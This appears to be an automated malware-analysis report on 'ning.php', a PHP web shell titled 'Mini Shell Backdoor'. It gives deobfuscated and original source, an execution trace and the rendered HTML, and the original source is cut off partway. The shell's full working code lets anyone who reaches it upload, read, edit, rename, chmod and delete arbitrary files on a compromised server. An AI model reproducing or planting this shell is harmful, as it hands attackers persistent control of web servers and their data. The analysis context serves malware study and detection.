PHP Malware Analysis
ning.php
md5: 79c42c577b869a0589fee7850c2fcf1b
Jump to:
- Deobfuscated code (Read more)
- Execution traces (Read more)
- Generated HTML (Read more)
- Original Code (Read more)
Screenshot
Attributes
Environment
- error_reporting (Deobfuscated, Original, Traces)
- getcwd (Deobfuscated, Original, Traces)
- set_time_limit (Deobfuscated, Original, Traces)
Files
- copy (Deobfuscated, Original)
- file_get_contents (Deobfuscated, Original)
Input
- _FILES (Deobfuscated, Original)
- _GET (Deobfuscated, Original)
- _POST (Deobfuscated, Original)
Title
- Mini Shell Backdoor (Deobfuscated, HTML, Original)
URLs
- http://www.hi5style.com/gr/heart.gif (Deobfuscated, HTML, Original)
Deobfuscated PHP code
<?php
set_time_limit(0);
error_reporting(0);
if (get_magic_quotes_gpc()) {
foreach ($_POST as $key => $value) {
$_POST[$key] = stripslashes($value);
}
}
echo "<!DOCTYPE HTML>\r\n<HTML>\r\n<HEAD>\r\n<link href=\"\" rel=\"stylesheet\" type=\"text/css\">\r\n<title>Mini Shell Backdoor</title><link rel=\"SHORTCUT ICON\" href=\"http://www.hi5style.com/gr/heart.gif\">\r\n<style>\r\nbody{\r\nfont-family: \"Courier\", cursive;\r\ncolor: #fff;\r\nbackground-color: #000;\r\ntext-shadow:0px 0px 1px #757575;\r\n}\r\n#content tr:hover{\r\nbackground-color: #000;\r\ntext-shadow:0px 0px 10px #fff;\r\n}\r\n#content .first{\r\nbackground-color: red;\r\n}\r\n#content .first:hover{\r\nbackground-color: red;\r\ntext-shadow:0px 0px 1px #757575;\r\n}\r\nH1{\r\nfont-family: \"Courier\", cursive;\r\ncolor: #fff;\r\n}\r\na{\r\ncolor: #fff;\r\ntext-decoration: none;\r\n}\r\na:hover{\r\ncolor: #fff;\r\ntext-shadow:0px 0px 5px #ffffff;\r\n}\r\ninput,select,textarea{\r\nborder: 1px #fff solid;\r\n-moz-border-radius: 5px;\r\n-webkit-border-radius:5px;\r\nborder-radius:5px;\r\n}\r\n</style>\r\n</HEAD>\r\n<BODY>\r\n<H1><center>Mini Shell Backdoor</center></H1>\r\n<table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n<tr><td>Current Path : ";
if (isset($_GET['path'])) {
$path = $_GET['path'];
} else {
$path = getcwd();
}
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);
foreach ($paths as $id => $pat) {
if ($pat == '' && $id == 0) {
$a = true;
echo "<a href=\"?path=/\">/</a>";
continue;
}
if ($pat == '') {
continue;
}
echo "<a href=\"?path=";
for ($i = 0; $i <= $id; $i++) {
echo "{$paths[$i]}";
if ($i != $id) {
echo "/";
}
}
echo '">' . $pat . '</a>/';
}
echo "</td></tr><tr><td>";
if (isset($_FILES['file'])) {
if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
echo "<font color=\"green\">Upload File Success!</font><br />";
} else {
echo "<font color=\"red\">Failed for Upload File!</font><br />";
}
}
echo "<form enctype=\"multipart/form-data\" method=\"POST\">\r\nUpload File : <input type=\"file\" name=\"file\" />\r\n<input type=\"submit\" value=\"upload\" />\r\n</form>\r\n</td></tr>";
if (isset($_GET['filesrc'])) {
echo "<tr><td>Current File : ";
echo $_GET['filesrc'];
echo "</tr></td></table><br />";
echo '<pre>' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</pre>';
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
if ($_POST['opt'] == 'chmod') {
if (isset($_POST['perm'])) {
if (chmod($_POST['path'], $_POST['perm'])) {
echo "<font color=\"green\">Change Permission Success~!</font><br />";
} else {
echo "<font color=\"red\">Failed for Change Permission !</font><br />";
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
} elseif ($_POST['opt'] == 'rename') {
if (isset($_POST['newname'])) {
if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
echo "<font color=\"green\">Change Name Success!</font><br />";
} else {
echo "<font color=\"red\">Failed for Change Name !</font><br />";
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
} elseif ($_POST['opt'] == 'edit') {
if (isset($_POST['src'])) {
$fp = fopen($_POST['path'], 'w');
if (fwrite($fp, $_POST['src'])) {
echo "<font color=\"green\">Edit File Success!</font><br />";
} else {
echo "<font color=\"red\">Failed for Edit File!</font><br />";
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Go" />
</form>';
}
echo "</center>";
} else {
echo "</table><br /><center>";
if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
if ($_POST['type'] == 'dir') {
if (rmdir($_POST['path'])) {
echo "<font color=\"green\">Delete Dir Success!</font><br />";
} else {
echo "<font color=\"red\">Failed for Delete Dir!</font><br />";
}
} elseif ($_POST['type'] == 'file') {
if (unlink($_POST['path'])) {
echo "<font color=\"green\">Delete File Success!</font><br />";
} else {
echo "<font color=\"red\">Failed for Edit File!</font><br />";
}
}
}
echo "</center>";
$scandir = scandir($path);
echo "<div id=\"content\"><table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n<tr class=\"first\">\r\n<td><center>Name</center></td>\r\n<td><center>Size</center></td>\r\n<td><center>Permissions</center></td>\r\n<td><center>Options</center></td>\r\n</tr>";
foreach ($scandir as $dir) {
if (!is_dir("{$path}/{$dir}") || $dir == '.' || $dir == '..') {
continue;
}
echo "<tr>\r\n<td><a href=\"?path={$path}/{$dir}\">{$dir}</a></td>\r\n<td><center>--</center></td>\r\n<td><center>";
if (is_writable("{$path}/{$dir}")) {
echo "<font color=\"green\">";
} elseif (!is_readable("{$path}/{$dir}")) {
echo "<font color=\"red\">";
}
echo perms("{$path}/{$dir}");
if (is_writable("{$path}/{$dir}") || !is_readable("{$path}/{$dir}")) {
echo "</font>";
}
echo "</center></td>\r\n<td><center><form method=\"POST\" action=\"?option&path={$path}\">\r\n<select name=\"opt\">\r\n<option value=\"\"></option>\r\n<option value=\"delete\">Delete</option>\r\n<option value=\"chmod\">Chmod</option>\r\n<option value=\"rename\">Rename</option>\r\n</select>\r\n<input type=\"hidden\" name=\"type\" value=\"dir\">\r\n<input type=\"hidden\" name=\"name\" value=\"{$dir}\">\r\n<input type=\"hidden\" name=\"path\" value=\"{$path}/{$dir}\">\r\n<input type=\"submit\" value=\">\" />\r\n</form></center></td>\r\n</tr>";
}
echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
foreach ($scandir as $file) {
if (!is_file("{$path}/{$file}")) {
continue;
}
$size = filesize("{$path}/{$file}") / 1024;
$size = round($size, 3);
if ($size >= 1024) {
$size = round($size / 1024, 2) . ' MB';
} else {
$size .= ' KB';
}
echo "<tr>\r\n<td><a href=\"?filesrc={$path}/{$file}&path={$path}\">{$file}</a></td>\r\n<td><center>" . $size . "</center></td>\r\n<td><center>";
if (is_writable("{$path}/{$file}")) {
echo "<font color=\"green\">";
} elseif (!is_readable("{$path}/{$file}")) {
echo "<font color=\"red\">";
}
echo perms("{$path}/{$file}");
if (is_writable("{$path}/{$file}") || !is_readable("{$path}/{$file}")) {
echo "</font>";
}
echo "</center></td>\r\n<td><center><form method=\"POST\" action=\"?option&path={$path}\">\r\n<select name=\"opt\">\r\n<option value=\"\"></option>\r\n<option value=\"delete\">Delete</option>\r\n<option value=\"chmod\">Chmod</option>\r\n<option value=\"rename\">Rename</option>\r\n<option value=\"edit\">Edit</option>\r\n</select>\r\n<input type=\"hidden\" name=\"type\" value=\"file\">\r\n<input type=\"hidden\" name=\"name\" value=\"{$file}\">\r\n<input type=\"hidden\" name=\"path\" value=\"{$path}/{$file}\">\r\n<input type=\"submit\" value=\">\" />\r\n</form></center></td>\r\n</tr>";
}
echo "</table>\r\n</div>";
}
echo "<br /><font color=\"red\"></font><font color=\"red\">Mini Shell</font>\r\n</BODY>\r\n</HTML>";
function perms($file)
{
$perms = fileperms($file);
if (($perms & 0xc000) == 0xc000) {
// Socket
$info = 's';
} elseif (($perms & 0xa000) == 0xa000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= $perms & 0x100 ? 'r' : '-';
$info .= $perms & 0x80 ? 'w' : '-';
$info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
// Group
$info .= $perms & 0x20 ? 'r' : '-';
$info .= $perms & 0x10 ? 'w' : '-';
$info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
// World
$info .= $perms & 0x4 ? 'r' : '-';
$info .= $perms & 0x2 ? 'w' : '-';
$info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
return $info;
}Execution traces
data/traces/79c42c577b869a0589fee7850c2fcf1b_trace-1676243624.6151.xtVersion: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:14:10.512940]
1 0 1 0.000155 393512
1 3 0 0.000437 445384 {main} 1 /var/www/html/uploads/ning.php 0 0
2 4 0 0.000454 445384 set_time_limit 0 /var/www/html/uploads/ning.php 2 1 0
2 4 1 0.000472 445448
2 4 R FALSE
2 5 0 0.000486 445416 error_reporting 0 /var/www/html/uploads/ning.php 3 1 0
2 5 1 0.000499 445456
2 5 R 22527
2 6 0 0.000512 445416 get_magic_quotes_gpc 0 /var/www/html/uploads/ning.php 5 0
2 6 1 0.000524 445416
2 6 R FALSE
2 7 0 0.000538 445416 getcwd 0 /var/www/html/uploads/ning.php 60 0
2 7 1 0.000551 445464
2 7 R '/var/www/html/uploads'
1 A /var/www/html/uploads/ning.php 60 $path = '/var/www/html/uploads'
2 8 0 0.000578 445464 str_replace 0 /var/www/html/uploads/ning.php 62 3 '\\' '/' '/var/www/html/uploads'
2 8 1 0.000594 445560
2 8 R '/var/www/html/uploads'
1 A /var/www/html/uploads/ning.php 62 $path = '/var/www/html/uploads'
2 9 0 0.000619 445464 explode 0 /var/www/html/uploads/ning.php 63 2 '/' '/var/www/html/uploads'
2 9 1 0.000633 446040
2 9 R [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1 A /var/www/html/uploads/ning.php 63 $paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1 A /var/www/html/uploads/ning.php 65 $id = 0
1 A /var/www/html/uploads/ning.php 67 $a = TRUE
1 A /var/www/html/uploads/ning.php 65 $id = 1
1 A /var/www/html/uploads/ning.php 73 $i = 0
1 A /var/www/html/uploads/ning.php 73 $i++
1 A /var/www/html/uploads/ning.php 73 $i++
1 A /var/www/html/uploads/ning.php 65 $id = 2
1 A /var/www/html/uploads/ning.php 73 $i = 0
1 A /var/www/html/uploads/ning.php 73 $i++
1 A /var/www/html/uploads/ning.php 73 $i++
1 A /var/www/html/uploads/ning.php 73 $i++
1 A /var/www/html/uploads/ning.php 65 $id = 3
1 A /var/www/html/uploads/ning.php 73 $i = 0
1 A /var/www/html/uploads/ning.php 73 $i++
1 A /var/www/html/uploads/ning.php 73 $i++
1 A /var/www/html/uploads/ning.php 73 $i++
1 A /var/www/html/uploads/ning.php 73 $i++
1 A /var/www/html/uploads/ning.php 65 $id = 4
1 A /var/www/html/uploads/ning.php 73 $i = 0
1 A /var/www/html/uploads/ning.php 73 $i++
1 A /var/www/html/uploads/ning.php 73 $i++
1 A /var/www/html/uploads/ning.php 73 $i++
1 A /var/www/html/uploads/ning.php 73 $i++
1 A /var/www/html/uploads/ning.php 73 $i++
2 10 0 0.000870 445968 scandir 0 /var/www/html/uploads/ning.php 164 1 '/var/www/html/uploads'
2 10 1 0.000903 446592
2 10 R [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'ning.php', 5 => 'prepend.php']
1 A /var/www/html/uploads/ning.php 164 $scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'ning.php', 5 => 'prepend.php']
2 11 0 0.000941 446608 is_dir 0 /var/www/html/uploads/ning.php 174 1 '/var/www/html/uploads/.'
2 11 1 0.000958 446672
2 11 R TRUE
2 12 0 0.000972 446640 is_dir 0 /var/www/html/uploads/ning.php 174 1 '/var/www/html/uploads/..'
2 12 1 0.000986 446688
2 12 R TRUE
2 13 0 0.000999 446648 is_dir 0 /var/www/html/uploads/ning.php 174 1 '/var/www/html/uploads/.htaccess'
2 13 1 0.001014 446688
2 13 R FALSE
2 14 0 0.001027 446648 is_dir 0 /var/www/html/uploads/ning.php 174 1 '/var/www/html/uploads/data'
2 14 1 0.001041 446688
2 14 R TRUE
2 15 0 0.001055 446648 is_writable 0 /var/www/html/uploads/ning.php 179 1 '/var/www/html/uploads/data'
2 15 1 0.001073 446688
2 15 R TRUE
2 16 0 0.001087 446648 perms 1 /var/www/html/uploads/ning.php 181 1 '/var/www/html/uploads/data'
3 17 0 0.001100 446648 fileperms 0 /var/www/html/uploads/ning.php 241 1 '/var/www/html/uploads/data'
3 17 1 0.001113 446688
3 17 R 16895
2 A /var/www/html/uploads/ning.php 241 $perms = 16895
2 A /var/www/html/uploads/ning.php 257 $info = 'd'
2 A /var/www/html/uploads/ning.php 270 $info .= 'r'
2 A /var/www/html/uploads/ning.php 271 $info .= 'w'
2 A /var/www/html/uploads/ning.php 274 $info .= 'x'
2 A /var/www/html/uploads/ning.php 277 $info .= 'r'
2 A /var/www/html/uploads/ning.php 278 $info .= 'w'
2 A /var/www/html/uploads/ning.php 281 $info .= 'x'
2 A /var/www/html/uploads/ning.php 284 $info .= 'r'
2 A /var/www/html/uploads/ning.php 285 $info .= 'w'
2 A /var/www/html/uploads/ning.php 288 $info .= 'x'
2 16 1 0.001238 446688
2 16 R 'drwxrwxrwx'
2 18 0 0.001260 446648 is_writable 0 /var/www/html/uploads/ning.php 182 1 '/var/www/html/uploads/data'
2 18 1 0.001276 446688
2 18 R TRUE
2 19 0 0.001290 446648 is_dir 0 /var/www/html/uploads/ning.php 174 1 '/var/www/html/uploads/ning.php'
2 19 1 0.001305 446688
2 19 R FALSE
2 20 0 0.001318 446656 is_dir 0 /var/www/html/uploads/ning.php 174 1 '/var/www/html/uploads/prepend.php'
2 20 1 0.001333 446704
2 20 R FALSE
2 21 0 0.001347 446648 is_file 0 /var/www/html/uploads/ning.php 201 1 '/var/www/html/uploads/.'
2 21 1 0.001361 446672
2 21 R FALSE
2 22 0 0.001374 446640 is_file 0 /var/www/html/uploads/ning.php 201 1 '/var/www/html/uploads/..'
2 22 1 0.001388 446688
2 22 R FALSE
2 23 0 0.001401 446648 is_file 0 /var/www/html/uploads/ning.php 201 1 '/var/www/html/uploads/.htaccess'
2 23 1 0.001415 446688
2 23 R TRUE
2 24 0 0.001428 446648 filesize 0 /var/www/html/uploads/ning.php 202 1 '/var/www/html/uploads/.htaccess'
2 24 1 0.001441 446688
2 24 R 64
1 A /var/www/html/uploads/ning.php 202 $size = 0.0625
2 25 0 0.001464 446592 round 0 /var/www/html/uploads/ning.php 203 2 0.0625 3
2 25 1 0.001478 446664
2 25 R 0.063
1 A /var/www/html/uploads/ning.php 203 $size = 0.063
1 A /var/www/html/uploads/ning.php 207 $size = '0.063 KB'
2 26 0 0.001514 446688 is_writable 0 /var/www/html/uploads/ning.php 214 1 '/var/www/html/uploads/.htaccess'
2 26 1 0.001530 446728
2 26 R FALSE
2 27 0 0.001543 446688 is_readable 0 /var/www/html/uploads/ning.php 215 1 '/var/www/html/uploads/.htaccess'
2 27 1 0.001558 446728
2 27 R TRUE
2 28 0 0.001571 446688 perms 1 /var/www/html/uploads/ning.php 216 1 '/var/www/html/uploads/.htaccess'
3 29 0 0.001584 446688 fileperms 0 /var/www/html/uploads/ning.php 241 1 '/var/www/html/uploads/.htaccess'
3 29 1 0.001597 446728
3 29 R 33188
2 A /var/www/html/uploads/ning.php 241 $perms = 33188
2 A /var/www/html/uploads/ning.php 251 $info = '-'
2 A /var/www/html/uploads/ning.php 270 $info .= 'r'
2 A /var/www/html/uploads/ning.php 271 $info .= 'w'
2 A /var/www/html/uploads/ning.php 274 $info .= '-'
2 A /var/www/html/uploads/ning.php 277 $info .= 'r'
2 A /var/www/html/uploads/ning.php 278 $info .= '-'
2 A /var/www/html/uploads/ning.php 281 $info .= '-'
2 A /var/www/html/uploads/ning.php 284 $info .= 'r'
2 A /var/www/html/uploads/ning.php 285 $info .= '-'
2 A /var/www/html/uploads/ning.php 288 $info .= '-'
2 28 1 0.001713 446728
2 28 R '-rw-r--r--'
2 30 0 0.001727 446688 is_writable 0 /var/www/html/uploads/ning.php 217 1 '/var/www/html/uploads/.htaccess'
2 30 1 0.001743 446728
2 30 R FALSE
2 31 0 0.001756 446688 is_readable 0 /var/www/html/uploads/ning.php 217 1 '/var/www/html/uploads/.htaccess'
2 31 1 0.001771 446728
2 31 R TRUE
2 32 0 0.001784 446688 is_file 0 /var/www/html/uploads/ning.php 201 1 '/var/www/html/uploads/data'
2 32 1 0.001799 446728
2 32 R FALSE
2 33 0 0.001812 446688 is_file 0 /var/www/html/uploads/ning.php 201 1 '/var/www/html/uploads/ning.php'
2 33 1 0.001826 446728
2 33 R TRUE
2 34 0 0.001838 446688 filesize 0 /var/www/html/uploads/ning.php 202 1 '/var/www/html/uploads/ning.php'
2 34 1 0.001851 446728
2 34 R 8392
1 A /var/www/html/uploads/ning.php 202 $size = 8.1953125
2 35 0 0.001874 446592 round 0 /var/www/html/uploads/ning.php 203 2 8.1953125 3
2 35 1 0.001887 446664
2 35 R 8.195
1 A /var/www/html/uploads/ning.php 203 $size = 8.195
1 A /var/www/html/uploads/ning.php 207 $size = '8.195 KB'
2 36 0 0.001923 446688 is_writable 0 /var/www/html/uploads/ning.php 214 1 '/var/www/html/uploads/ning.php'
2 36 1 0.001938 446728
2 36 R FALSE
2 37 0 0.001951 446688 is_readable 0 /var/www/html/uploads/ning.php 215 1 '/var/www/html/uploads/ning.php'
2 37 1 0.001970 446728
2 37 R TRUE
2 38 0 0.001984 446688 perms 1 /var/www/html/uploads/ning.php 216 1 '/var/www/html/uploads/ning.php'
3 39 0 0.002001 446688 fileperms 0 /var/www/html/uploads/ning.php 241 1 '/var/www/html/uploads/ning.php'
3 39 1 0.002013 446728
3 39 R 33204
2 A /var/www/html/uploads/ning.php 241 $perms = 33204
2 A /var/www/html/uploads/ning.php 251 $info = '-'
2 A /var/www/html/uploads/ning.php 270 $info .= 'r'
2 A /var/www/html/uploads/ning.php 271 $info .= 'w'
2 A /var/www/html/uploads/ning.php 274 $info .= '-'
2 A /var/www/html/uploads/ning.php 277 $info .= 'r'
2 A /var/www/html/uploads/ning.php 278 $info .= 'w'
2 A /var/www/html/uploads/ning.php 281 $info .= '-'
2 A /var/www/html/uploads/ning.php 284 $info .= 'r'
2 A /var/www/html/uploads/ning.php 285 $info .= '-'
2 A /var/www/html/uploads/ning.php 288 $info .= '-'
2 38 1 0.002130 446728
2 38 R '-rw-rw-r--'
2 40 0 0.002143 446688 is_writable 0 /var/www/html/uploads/ning.php 217 1 '/var/www/html/uploads/ning.php'
2 40 1 0.002158 446728
2 40 R FALSE
2 41 0 0.002171 446688 is_readable 0 /var/www/html/uploads/ning.php 217 1 '/var/www/html/uploads/ning.php'
2 41 1 0.002186 446728
2 41 R TRUE
2 42 0 0.002200 446696 is_file 0 /var/www/html/uploads/ning.php 201 1 '/var/www/html/uploads/prepend.php'
2 42 1 0.002214 446744
2 42 R TRUE
2 43 0 0.002227 446704 filesize 0 /var/www/html/uploads/ning.php 202 1 '/var/www/html/uploads/prepend.php'
2 43 1 0.002240 446744
2 43 R 57
1 A /var/www/html/uploads/ning.php 202 $size = 0.0556640625
2 44 0 0.002263 446600 round 0 /var/www/html/uploads/ning.php 203 2 0.0556640625 3
2 44 1 0.002276 446672
2 44 R 0.056
1 A /var/www/html/uploads/ning.php 203 $size = 0.056
1 A /var/www/html/uploads/ning.php 207 $size = '0.056 KB'
2 45 0 0.002311 446704 is_writable 0 /var/www/html/uploads/ning.php 214 1 '/var/www/html/uploads/prepend.php'
2 45 1 0.002327 446744
2 45 R FALSE
2 46 0 0.002340 446704 is_readable 0 /var/www/html/uploads/ning.php 215 1 '/var/www/html/uploads/prepend.php'
2 46 1 0.002354 446744
2 46 R TRUE
2 47 0 0.002367 446704 perms 1 /var/www/html/uploads/ning.php 216 1 '/var/www/html/uploads/prepend.php'
3 48 0 0.002380 446704 fileperms 0 /var/www/html/uploads/ning.php 241 1 '/var/www/html/uploads/prepend.php'
3 48 1 0.002392 446744
3 48 R 33261
2 A /var/www/html/uploads/ning.php 241 $perms = 33261
2 A /var/www/html/uploads/ning.php 251 $info = '-'
2 A /var/www/html/uploads/ning.php 270 $info .= 'r'
2 A /var/www/html/uploads/ning.php 271 $info .= 'w'
2 A /var/www/html/uploads/ning.php 274 $info .= 'x'
2 A /var/www/html/uploads/ning.php 277 $info .= 'r'
2 A /var/www/html/uploads/ning.php 278 $info .= '-'
2 A /var/www/html/uploads/ning.php 281 $info .= 'x'
2 A /var/www/html/uploads/ning.php 284 $info .= 'r'
2 A /var/www/html/uploads/ning.php 285 $info .= '-'
2 A /var/www/html/uploads/ning.php 288 $info .= 'x'
2 47 1 0.002509 446744
2 47 R '-rwxr-xr-x'
2 49 0 0.002523 446704 is_writable 0 /var/www/html/uploads/ning.php 217 1 '/var/www/html/uploads/prepend.php'
2 49 1 0.002539 446744
2 49 R FALSE
2 50 0 0.002552 446704 is_readable 0 /var/www/html/uploads/ning.php 217 1 '/var/www/html/uploads/prepend.php'
2 50 1 0.002567 446744
2 50 R TRUE
1 3 1 0.002588 446752
0.002618 326192
TRACE END [2023-02-12 21:14:10.515433]
Generated HTML code
<html><head>
<link href="" rel="stylesheet" type="text/css">
<title>Mini Shell Backdoor</title><link rel="SHORTCUT ICON" href="http://www.hi5style.com/gr/heart.gif">
<style>
body{
font-family: "Courier", cursive;
color: #fff;
background-color: #000;
text-shadow:0px 0px 1px #757575;
}
#content tr:hover{
background-color: #000;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: red;
}
#content .first:hover{
background-color: red;
text-shadow:0px 0px 1px #757575;
}
H1{
font-family: "Courier", cursive;
color: #fff;
}
a{
color: #fff;
text-decoration: none;
}
a:hover{
color: #fff;
text-shadow:0px 0px 5px #ffffff;
}
input,select,textarea{
border: 1px #fff solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</head>
<body>
<h1><center>Mini Shell Backdoor</center></h1>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr><td>Current Path : <a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/html">html</a>/</td></tr><tr><td><form enctype="multipart/form-data" method="POST">
Upload File : <input type="file" name="file">
<input type="submit" value="upload">
</form>
</td></tr></tbody></table><br><center></center><div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr><tr class="first"><td></td><td></td><td></td><td></td></tr><tr>
<td><a href="?filesrc=/var/www/html/beneri.se_malware_analysis&path=/var/www/html">beneri.se_malware_analysis</a></td>
<td><center>0 KB</center></td>
<td><center>-rw-r--r--</center></td>
<td><center><form method="POST" action="?option&path=/var/www/html">
<select name="opt">
<option value=""></option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="beneri.se_malware_analysis">
<input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis">
<input type="submit" value=">">
</form></center></td>
</tr><tr>
<td><a href="?filesrc=/var/www/html/ning.php&path=/var/www/html">ning.php</a></td>
<td><center>8.195 KB</center></td>
<td><center>-rw-rw-r--</center></td>
<td><center><form method="POST" action="?option&path=/var/www/html">
<select name="opt">
<option value=""></option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="ning.php">
<input type="hidden" name="path" value="/var/www/html/ning.php">
<input type="submit" value=">">
</form></center></td>
</tr></tbody></table>
</div><br><font color="red"></font><font color="red">Mini Shell</font>
</body></html>Original PHP code
<?php
set_time_limit(0);
error_reporting(0);
if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}
echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<link href="" rel="stylesheet" type="text/css">
<title>Mini Shell Backdoor</title><link rel="SHORTCUT ICON" href="http://www.hi5style.com/gr/heart.gif">
<style>
body{
font-family: "Courier", cursive;
color: #fff;
background-color: #000;
text-shadow:0px 0px 1px #757575;
}
#content tr:hover{
background-color: #000;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: red;
}
#content .first:hover{
background-color: red;
text-shadow:0px 0px 1px #757575;
}
H1{
font-family: "Courier", cursive;
color: #fff;
}
a{
color: #fff;
text-decoration: none;
}
a:hover{
color: #fff;
text-shadow:0px 0px 5px #ffffff;
}
input,select,textarea{
border: 1px #fff solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</HEAD>
<BODY>
<H1><center>Mini Shell Backdoor</center></H1>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Current Path : ';
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<font color="green">Upload File Success!</font><br />';
}else{
echo '<font color="red">Failed for Upload File!</font><br />';
}
}
echo '<form enctype="multipart/form-data" method="POST">
Upload File : <input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
echo "<tr><td>Current File : ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="green">Change Permission Success~!</font><br />';
}else{
echo '<font color="red">Failed for Change Permission !</font><br />';
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="green">Change Name Success!</font><br />';
}else{
echo '<font color="red">Failed for Change Name !</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="green">Edit File Success!</font><br />';
}else{
echo '<font color="red">Failed for Edit File!</font><br />';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Go" />
</form>';
}
echo '</center>';
}else{
echo '</table><br /><center>';
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<font color="green">Delete Dir Success!</font><br />';
}else{
echo '<font color="red">Failed for Delete Dir!</font><br />';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="green">Delete File Success!</font><br />';
}else{
echo '<font color="red">Failed for Edit File!</font><br />';
}
}
}
echo '</center>';
$scandir = scandir($path);
